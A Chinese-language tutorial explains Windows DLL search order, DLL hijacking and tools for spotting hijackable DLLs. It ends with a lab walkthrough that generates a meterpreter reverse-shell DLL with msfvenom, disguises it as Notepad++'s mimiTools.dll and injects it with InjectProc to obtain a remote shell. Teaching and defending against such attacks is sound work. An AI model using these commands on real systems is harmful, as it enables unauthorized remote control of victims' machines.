DLL(Dynamic Link Library,动态链接库)文件是一种包含可重用代码、数据和资源的可执行文件格式,在Windows下许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库(DLL文件)放置于系统中,当我们执行某一个程序时,相应的DLL文件就会被调用,一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件
Windows操作系统中应用程序需要加载动态链接库(DLL)时会按照一定的顺序搜索DLL文件的目录,下面是Windows中查找DLL的目录以及对应的顺序:
myapp.exe
位于C:\myapp
目录,而所需的DLL文件mylib.dll
也位于同一目录中,那么在这种情况下Windows会直接加载C:\myapp\mylib.dll
C:\Windows\System32
或C:\Winnt\System32,
示例:假设应用程序myapp.exe
位于C:\myapp
目录,而所需的DLL文件mylib.dll
位于C:\Windows\System32
目录中,那么在这种情况下Windows会加载C:\Windows\System32\mylib.dll
C:\Windows
或C:\Winnt,
示例:假设应用程序myapp.exe
位于C:\myapp
目录,而所需的DLL文件mylib.dll
位于C:\Windows
目录中,那么在这种情况下Windows会加载C:\Windows\mylib.dll
myapp.exe
位于C:\myapp
目录,而所需的DLL文件mylib.dll
位于C:\myapp\libs
目录中,在这种情况下如果应用程序在C:\myapp
目录中启动,Windows会加载C:\myapp\libs\mylib.dll
PATH
中指定的目录:如果DLL文件没有在上述位置找到,Windows会搜索系统环境变量PATH
中指定的目录,示例:假设应用程序myapp.exe
位于C:\myapp
目录,而所需的DLL文件mylib.dll
位于D:\libs
目录中,如果将D:\libs
添加到系统环境变量PATH
中,那么无论应用程序在哪个目录中启动,Windows都会加载D:\libs\mylib.dll
DLL劫持是指病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL的过程,如下图中的al1ex.dll是应用程序运行所需加载的DLL,该系统文件默认存放在Windows系统中的C:\Windows\system32路径下,但由于Windows优先搜索当前路径,所以当我们把恶意al1ex.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作
我们可以使用以下方法进行劫持检查:
InjectProc-进程注入技术,下载地址:
https://github.com/secrary/InjectProc/releases
软件使用:
在Windows系统中通过任务管理器可以管理查看电脑系统所使用的情况,包括各项进程及CPU的使用情况,还可以查看内存、网卡等使用情况,但系统自带的任务管理器功能相对不够强大,而Process Explorer则可以代替系统自带的任务管理器,它能够方便地为你管理各项程序进程
软件下载地址: https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
运行软件之后可以看到应用程序Notepad++会加载DLL文件——mimiTools.dll
此dll文件在KnownDLLs中无法找到,所以我们可以在Notepad++.exe程序启动时可以从应用程序自身所在的目录下调用mimiTools.dll文件,我们可以通过替换改文件实现DLL劫持的目的
Dll Hijack Auditor是一款智能DLL劫持检测工具,它避免木马病毒通过劫持dll动态库文件的方式来实现自身的加载运行,可以有效的避免木马病毒劫持动态库文件
软件下载地址: http://securityxploded.com/getsoftware_direct.php?id=7777
首先使用msfvenom生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.135 LPORT=4444 -f dll >mimiTools.dll
随后打开msf并开启监听
随后将生成的dll文件丢到目标主机中并打开notepad程序输入一下命令
InjectProc.exe dll_inj mimiTools.dll notepad.exe
随后在msf终端收到反弹的shell:
本篇文章我们主要介绍了DLL劫持的基本原理以及DLL劫持的检测方式,最后我们介绍了DLL注入的方法~